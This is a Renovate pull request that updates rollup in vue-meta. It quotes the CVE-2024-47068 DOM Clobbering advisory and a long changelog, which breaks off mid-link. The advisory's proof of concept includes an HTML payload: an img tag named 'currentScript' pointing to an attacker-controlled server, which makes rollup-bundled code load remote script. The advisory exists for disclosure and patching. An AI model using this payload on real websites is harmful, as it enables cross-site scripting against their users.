vue-meta
vue-meta copied to clipboard
chore(deps): update devdependency rollup to v2.79.2 [security]
[!NOTE] Mend has cancelled the proposed renaming of the Renovate GitHub app being renamed to
mend[bot].This notice will be removed on 2025-10-07.
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| rollup (source) | 2.15.0 -> 2.79.2 |
GitHub Vulnerability Alerts
CVE-2024-47068
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadget found in rollup
We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
PoC
Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;
Release Notes
rollup/rollup (rollup)
v2.79.2
2024-09-26
Bug Fixes
- Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)
Pull Requests
- #5671: Fix DOM Clobbering CVE (@lukastaegert)
v2.79.1
2022-09-22
Bug Fixes
- Avoid massive performance degradation when creating thousands of chunks (#4643)
Pull Requests
- #4639: fix: typo docs and contributors link in CONTRIBUTING.md (@takurinton)
- #4641: Update type definition of resolveId (@ivanjonas)
- #4643: Improve performance of chunk naming collision check (@lukastaegert)
v2.79.0
2022-08-31
Features
- Add
amd.forceJsExtensionForImportsto enforce using.jsextensions for relative AMD imports (#4607)
Pull Requests
v2.78.1
2022-08-19
Bug Fixes
- Avoid inferring "arguments" as name for a default export placeholder variable (#4613)
Pull Requests
- #4613: Prevent using arguments for generated variable names (@lukastaegert)
v2.78.0
2022-08-14
Features
- Support writing plugin hooks as objects with a "handler" property (#4600)
- Allow changing execution order per plugin hook (#4600)
- Add flag to execute plugins in async parallel hooks sequentially (#4600)
Pull Requests
- #4600: Allow using objects as hooks to change execution order (@lukastaegert)
v2.77.3
2022-08-11
Bug Fixes
- Correctly resolve preserveModulesRoot in Vite (#4591)
Pull Requests
- #4591: resolve currentPath (@cleverpp)
v2.77.2
2022-07-27
Bug Fixes
- Avoid a rendering failure when mixing outputs with inlined and non-inlined dynamic imports (#4589)
Pull Requests
- #4589: Handle generating non-inlined imports after inlined ones (@lukastaegert)
v2.77.1
2.77.1
2022-07-26
Bug Fixes
- Ensure IIFE output generates a global variable when generating ES5 (#4588)
Pull Requests
- #4577: broken link removed (@Jawad-H)
- #4580: Update dependencies (@lukastaegert)
- #4584: Documentation clarity and syntax improvements (@berniegp)
- #4588: Use var for IIFE (@lukastaegert)
v2.77.0
2022-07-15
Features
- Introduce
maxParallelFileOpsto limit both read and write operations, default to 20 and replacesmaxParallelFileRead(#4570)
Bug Fixes
- Avoid including variables referenced from return statements that are never reached (#4573)
Pull Requests
- #4570: Introduce maxParallelFileOps to limit parallel writes (@lukastaegert)
- #4572: Document more ways to read package.json in ESM (@berniegp)
- #4573: Do not include unused return expressions (@lukastaegert)
v2.76.0
2022-07-08
Features
- Allow setting a
sourcmapBaseUrlfor absolute paths in sourcemaps (#4527)
Bug Fixes
- Support absolute CLI plugin paths on Windows (#4533)
Pull Requests
- #4527: Add sourcemapBaseUrl option (@nickgarlis)
- #4533: Add support for absolute plugin paths (@ygoe)
- #4538: chore: Included githubactions in the dependabot config (@naveensrinivasan)
- #4546: Adapt Node versions on CI to prepare for v3 (@lukastaegert)
- #4556: Improve error message for invalid patterns (@DysphoricUnicorn)
- #4559: Update dependencies (@lukastaegert)
- #4560: Bump peter-evans/create-or-update-comment from 1 to 2 (@dependabot)
- #4561: Bump peter-evans/find-comment from 1 to 2 (@dependabot)
- #4562: Bump codecov/codecov-action from 1 to 3 (@dependabot)
v2.75.7
2022-06-20
Bug Fixes
- Mark Array.prototype.group/groupToMap as side effect free. (#4531)
Pull Requests
- #4523: chore: remove source map workaround, bump deps (@dnalborczyk)
- #4525: Add regression tests for instanceof (@lukastaegert)
- #4528: chore: Set permissions for GitHub actions (@naveensrinivasan)
- #4531: fix: rename Array.prototype.group/groupToMap (@dnalborczyk)
- #4535: chore: bump resolve from 1.22.0 to 1.22.1 (@pos777)
v2.75.6
2022-06-07
Bug Fixes
- Properly deoptimize "this" when using member expressions with getters/setters in for loops and update expressions (#4522)
Pull Requests
- #4522: Refactor side effect handling for property interactions (@lukastaegert)
v2.75.5
2022-06-01
Bug Fixes
- Avoid crashes when using logical expressions for unused constructor arguments (#4519)
- Fix missing parameter defaults for calls from try statements and functions returned by functions (#4520)
Pull Requests
- #4519: Try to make logical expression deoptimization more robust (@lukastaegert)
- #4520: Roll back parameter default tree shaking (@lukastaegert)
v2.75.4
2022-05-31
Bug Fixes
- Ensure parameter defaults are retained when a function is used as an object property (#4516)
Pull Requests
- #4516: Deoptimize parameter defaults when referenced from object/array/class literals (@lukastaegert)
v2.75.3
2022-05-29
Bug Fixes
- Retain parameter defaults for functions that are defaults themselves (#4515)
- Track mutations for objects as default values (#4515)
Pull Requests
- #4515: Ensure parameter defaults are deoptimized (@lukastaegert)
v2.75.2
v2.75.1
2022-05-28
Pull Requests
- #4513: Update link to node polyfill repo (@lukastaegert)
v2.75.0
2022-05-27
Features
- Re-implement default parameter tree-shaking for top-level functions (#4510)
- Do not consider calling string methods like
.trim()on template literals a side effect (#4511)
Pull Requests
- #4510: Tree-shake parameter defaults (replaces #4498) (@lukastaegert)
- #4511: Tree-shake side-effect-free string methods on template literals (@lukastaegert)
v2.74.1
2022-05-19
Bug Fixes
- Revert #4498 until some issues are understood and resolved
v2.74.0
2022-05-19
Features
- Remove unneeded default values for function parameters (#4498)
Bug Fixes
- Use a consistent mechanism to resolve the config file to avoid issues on Windows (#4501)
- Avoid an inaccurate warning about an event emitter leak for complicated builds (#4502)
- Ensure that reexporting values from other chunks via dynamic imports does not reference non-imported variables (#4499)
Pull Requests
- #4498: Tree shake parameter defaults (@lukastaegert)
- #4499: Ensure reexports are available for namespaces (@lukastaegert)
- #4501: fix: config path problem on windows (@pos777)
- #4502: Avoid maximum listeners exceeded warning (@lukastaegert)
v2.73.0
2022-05-13
Features
- Do not treat Object.defineProperty/ies as side effect when called on an unused object (#4493)
- Do not assume that assigning a property can create a getter with side effects (#4493)
- Do not treat string.prototype.replace(All) as side effect when used with two literals (#4493)
Bug Fixes
- Detect side effects when manually declaring getters on functions (#4493)
Pull Requests
- #4493: Handle getters on functions and improve property deoptimization (@lukastaegert)
- #4494: Do not treat string.replace as side effect when used with a literal (@lukastaegert)
- #4495: Update docs for --configPlugin using typescript (@Jimmydalecleveland)
v2.72.1
2022-05-07
Bug Fixes
- Improve tree-shaking of classes with super classes in certain scenarios (#4489)
Pull Requests
- #4489: Do not deoptimize entire super class when adding a property (@lukastaegert)
v2.72.0
2022-05-05
Features
- Add CLI hooks to run external commands at certain points in watch mode (#4457)
Bug Fixes
- Fix an issue that could accidentally treat relevant assignments as side effect free (#4486)
Pull Requests
- #4457: feat: CLI event hook flags (@Harris-Miller)
- #4486: Fix reassignment tracking (@lukastaegert)
v2.71.1
2022-04-30
Bug Fixes
- Allow importing loadConfigFile without extension (#4483)
Pull Requests
- #4483: Add exports exception for loadConfigFile (@lukastaegert)
v2.71.0
2022-04-30
Features
- Mark
Object.hasOwnas pure (#4482)
Bug Fixes
- Prevent infinite recursion and display proper warning for recursive reexports (#4472)
- Fix type issue in TypeScript nightly (#4471)
Pull Requests
- #4467: docs: update deprecated option in tools.md (@kimjh96)
- #4471: Fix: tsc did not build (@frank-dspeed)
- #4472: Throw proper error when indirectly reexporting a recursive binding (@lukastaegert)
- #4475: chore: bump deps (#4475) (@dnalborczyk)
- #4477: chore: bump github actions (@dnalborczyk)
- #4478: ci: test with node.js v18, remove v17 (@dnalborczyk)
- #4479: chore(repo): replace
git.ioin the issue template (@SukkaW) - #4482: feat: add Object.hasOwn as pure function (@dnalborczyk)
v2.70.2
2022-04-15
Bug Fixes
- Do not enforce undefined return values in TypeScript types (#4463)
Pull Requests
- #4463: use void for options hook instead of undefined (@ycmjason)
v2.70.1
2022-03-14
Bug Fixes
- Handle unfinished hook action errors as regular errors and avoid console logging (#4434)
- Allow access to "dist" folder in a Node 17 compatible way (#4436)
Pull Requests
- #4434: Track unfinished hook actions as regular errors (@lukastaegert)
- #4436: Update package.json (@frank-dspeed)
v2.70.0
2022-03-07
Features
- Make the
watchChangeandcloseWatcherhooks asynchronous and make Rollup wait for these hooks before continuing (#4427)
Bug Fixes
- Do not abort watch mode for errors in
watchChangebut display them properly (#4427)
Pull Requests
- #4427: Do not abort watch mode on errors in watchChange (@lukastaegert)
v2.69.2
2022-03-06
Bug Fixes
- Mark
Object.entriesandObject.fromEntriesas pure (#4429) - Make sure new properties on Array.prototype and Object.prototype are not evaluated as "undefined" (#4428)
Pull Requests
- #4428: Treat unknown prototype props as unknown (@lukastaegert)
- #4429: Treat unknown prototype props as unknown (@869288142)
v2.69.1
2022-03-04
Bug Fixes
- Approximate source position instead of ignoring it when using a low-resolution source map in a transform hook (#4334)
Pull Requests
- #4334: fix(sourcemap): fall back to low-resolution line mapping (@aleclarson and @lukastaegert)
v2.69.0
2022-03-02
Features
- Introduce new
output.generatedCode.symbolsto control the usage of Symbols in Rollup-generated code (#4378) - soft-deprecate
output.namespaceToStringTagin favor ofoutput.generatedCode.symbols(#4378)
Bug Fixes
- Properly handle
./and../as external dependencies (#4419) - Make generated "Module" namespace toStringTag non-enumerable for correct Object.assign/spread behaviour (#4378)
- Add file name to error when top-level-await is used in disallowed formats (#4421)
Pull Requests
- #4378: Make namespace @@toStringTag "Module" non-enumerable (@dnalborczyk and @lukastaegert)
- #4413: refactor: some code and type fixes (@dnalborczyk)
- #4418: chore: bump deps (@dnalborczyk)
- #4419: Properly handle upper directories as external dependencies (@lukastaegert)
- #4421: Improve the error prompt and output the error file name (@caoxiemeihao)
- #4423: Update 999-big-list-of-options.md (@leoj3n)
v2.68.0
2022-02-22
Features
- provide information about cached import resolutions in
shouldTransformCachedModule(#4414) - Add "types" field to Rollup's package exports (#4416)
Pull Requests
- #4410: refactor: use map for declarations and name suggestions (@dnalborczyk)
- #4411: refactor: use map for namespace reexports by name (@dnalborczyk)
- #4412: refactor: use includes where appropriate (@dnalborczyk)
- #4414: Add resolved sources to shouldTransformCachedModule (@lukastaegert)
- #4416: Add Typescript 4.5 nodenext node12 module resolution support (@frank-dspeed)
v2.67.3
2022-02-18
Bug Fixes
- Do not swallow other errors when unfinished hook actions are detected (#4409)
- Add additional information to output when there are unfinished hook actions (#4409)
Pull Requests
- #4399: docs: remove const (@TrickyPi)
- #4401: Improve test stability by getting independent of module id ordering in more places (@lukastaegert)
- #4403: fix: remove unnecessary property descriptor spread (@dnalborczyk)
- #4404: refactor: use map for import descriptions + re-export descriptions (@dnalborczyk)
- #4405: refactor: module exports to map (@dnalborczyk)
- #4406: Fix a typo in 'Direct plugin communication' code example (@younesmln)
- #4407: Document how resolveId is cached (@lukastaegert)
- #4409: Print ids for unfinished moduleParsed and shouldTransformCachedModule hooks (@lukastaegert)
v2.67.2
2022-02-10
Bug Fixes
- Ensure consistent order between manual chunks to fix hashing issues (#4397)
Pull Requests
- #4390: refactor: add @types/estree explicitly, fix dynamic type imports (@dnalborczyk)
- #4391: chore: remove acorn-walk ambient type definitions (@dnalborczyk)
- #4397: Sort manual chunks generated via a function by name (@lukastaegert)
v2.67.1
2022-02-07
Bug Fixes
- Make chunk file and variable names more deterministic when emitting chunks (#4386)
- Improve default module resolver performance by using non-blocking IO (#4386)
Pull Requests
- #4373: fix: even more types (@dnalborczyk)
- #4382: Update contribution tut link desc (@lemredd)
- #4383: chore: bump deps (@dnalborczyk)
- #4384: chore: move "wait" to utils + re-use (@dnalborczyk)
- #4385: refactor: convert watch tests to async functions (@dnalborczyk)
- #4386: refactor: use fs.promises in resolve id, Part 4 (@dnalborczyk and @lukastaegert)
- #4389: refactor: use fs.promises in generate license file, rollup config, Part 5 (@dnalborczyk)
v2.67.0
2022-02-02
Features
- Improve side effect detection when using Array.prototype.groupBy/groupByToMap (#4360)
- Allow changing
moduleSideEffectsat any time during the build (#4379) - Soft-deprecate
ModuleInfo.hasModuleSideEffectsin favour ofModuleInfo.moduleSideEffects(#4379)
Bug Fixes
- Do not include queries and hashes in generated file names when preserving modules (#4374)
Pull Requests
- #4319: refactor: use fs, fs-extra, remove sander (@dnalborczyk)
- #4360: feat: add Array.prototype.groupBy/groupByToMap (@dnalborczyk)
- #4361: fix: more types (@dnalborczyk)
- #4369: fix: remove acorn-walk patch (@dnalborczyk)
- #4371: refactor: use fs.promises in cli/run (@dnalborczyk)
- #4372: refactor: use fs.promises in module loader (@dnalborczyk)
- #4374: Ignore queries and hashes in file names when preserving modules (@lukastaegert)
- #4375: Fix typo in _config.js (@eltociear)
- #4376: refactor: fs.promises, move mkdir to writeoutputfile, Part 3 (@dnalborczyk)
- #4379: Deprecate hasModuleSideEffects in favor of moduleSideEffects and ensure it is mutable on ModuleInfo (@lukastaegert)
v2.66.1
2022-01-25
Bug Fixes
- Only warn for conflicting names in namespace reexports if it actually causes problems (#4363)
- Only allow explicit exports or reexports as synthetic namespaces and hide them from namespace reexports (#4364)
Pull Requests
- #4362: refactor: convert exportsByName object to map (@dnalborczyk)
- #4363: Do not warn unnecessarily for namespace conflicts (@lukastaegert)
- #4364: Do not expose synthetic namespace export in entries and namespaces (@lukastaegert)
v2.66.0
2022-01-22
Features
- Note if a module has a default export in ModuleInfo to allow writing better proxy modules (#4356)
- Add option to wait until all imported ids have been resolved when awaiting
this.load(#4358)
Pull Requests
- #4356: Add hasDefaultExport to ModuleInfo (@lukastaegert)
- #4358: Add "resolveDependencies" option to "this.load" (@lukastaegert)
v2.65.0
2022-01-21
Features
- Add complete import resolution objects to ModuleInfo for use in
this.load(#4354)
Bug Fixes
- Use correct context in plugin hooks with
perf: true(#4357)
Pull Requests
- #4351: refactor: re-use source mapping url (@dnalborczyk)
- #4352: refactor: replace require-relative with built-in require.resolve (@dnalborczyk)
- #4353: chore: bump deps (@dnalborczyk)
- #4354: Add importedIdResolutions to moduleInfo (@lukastaegert)
- #4355: chore: remove external from config (@dnalborczyk)
- #4357: fix: timed plugin context (@dnalborczyk)
v2.64.0
2022-01-14
Features
- Allow inspecting cached modules and forcing them to be transformed again via shouldTransformCachedModule (#4320)
- Do not wait for the config file to be parsed in watch mode if it is updated before that (#4344)
Bug Fixes
- Do not mutate objects returned as
metafrom the resolveId hook (#4347)
Pull Requests
- #4326: refactor: type fixes (@dnalborczyk)
- #4339: More watch test stabilization (@lukastaegert)
- #4340: refactor: performance timers for node.js and browser (@dnalborczyk)
- #4341: Implement shouldTransformCachedModule hook (@lukastaegert)
- #4344: Directly restart Rollup when config file change is detected in watch mode (@lukastaegert)
- #4347: Create a shallow copy when returning meta from resolveId (@lukastaegert)
v2.63.0
2022-01-04
Features
- Report a helpful error if rollup exits due to an empty event loop when using
this.load(#4320) - Allow directly mutating ModuleInfo.meta for modules and never replace this object (#4328)
- Detect additional side effect free array prototype methods (#4332)
Bug Fixes
- Do not watch if CLI watch options are specified but
--watchis missing (#4335)
Pull Requests
- #4320: Detect unfulfilled async hook actions and report error on exit (@kzc)
- #4328: Make initial ModuleInfo.meta mutable and maintain object identity (@lukastaegert)
- #4318: Stabilize watch tests (@lukastaegert)
- #4331: Improve JS docs example (@lukastaegert)
- #4332: add support for Array.prototype.findLast,findLastIndex (@dnalborczyk)
- #4333: convert utils.transform to async function (@dnalborczyk)
- #4335: Do not watch unless --watch is specified explicitly (@lukastaegert)
- #4338: Add build delay for plugin event test (@lukastaegert)
v2.62.0
2021-12-24
Features
- Mark additional string prototype methods as side-effect-free and correct typings of existing ones (#4299)
- Mark additional array prototype methods as side-effect-free and correct typings of existing ones (#4309)
- Expose if a module is included after tree-shaking in its ModuleInfo (#4305)
Bug Fixes
- Fix how fsevents is included to improve watch mode on MacOS (#4312)
Pull Requests
- #4299: Add additional string prototype methods (@dnalborczyk)
- #4300: Bump deps, fix expected test result for core-js (@dnalborczyk)
- #4302: Replace type assertion with type guard (@dnalborczyk)
- #4304: Re-use reserved names set (@dnalborczyk)
- #4305: Expose isIncluded in module info (@william57m)
- #4306: Fix git line breaks on windows (@dnalborczyk)
- #4307: Add macos to pipeline (@dnalborczyk)
- #4309: Add additional array prototype methods (@dnalborczyk)
- #4311: Add Deno instructions to docs (@jespertheend)
- #4312: fsevents integration (@dnalborczyk)
- #4313: Remove non-existing static functions from known globals (@dnalborczyk)
v2.61.1
2021-12-11
Bug Fixes
- Only resolve this.load once the code of the module is available (#4296)
Pull Requests
- #4296: Make sure this.load waits for modules that are already loading (@lukastaegert)
- #4298: use set for reserved words (@dnalborczyk)
v2.61.0
2021-12-09
Features
- Support ergonomic brand checks for private fields (#4293)
Bug Fixes
- Improve handling of directory creation on systems with restrictive open files limit (#4288)
Pull Requests
- #4288: modifymkdirpath (@mgrabowski84)
- #4293: bump deps (@dnalborczyk)
v2.60.2
2021-11-30
Bug Fixes
- Produce correct output when dynamic import paths contain quotes (#4286)
Pull Requests
- #4286: Escape dynamic import paths (@danielroe)
v2.60.1
2021-11-22
Bug Fixes
- Make sure virtual files have proper file extensions when preserving modules (#4270)
Pull Requests
v2.60.0
2021-11-11
Features
- Add
this.loadcontext function to load, transform and parse modules without adding them to the graph (#4234) - Sanitize non-url-safe characters in generated chunk names by default (#4262)
- Support ESM plugins via command line (#4265)
Pull Requests
- #4234: Plugin context function for pre-loading modules (@lukastaegert)
- #4262: exclude invalid URL chars (@danielroe)
- #4265: support loading ESM plugins from the CLI via --plugin (@kzc)
v2.59.0
2021-11-01
Features
- Support static class initialization blocks ([#4249](https://redirect.github.com/rollup/ro
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.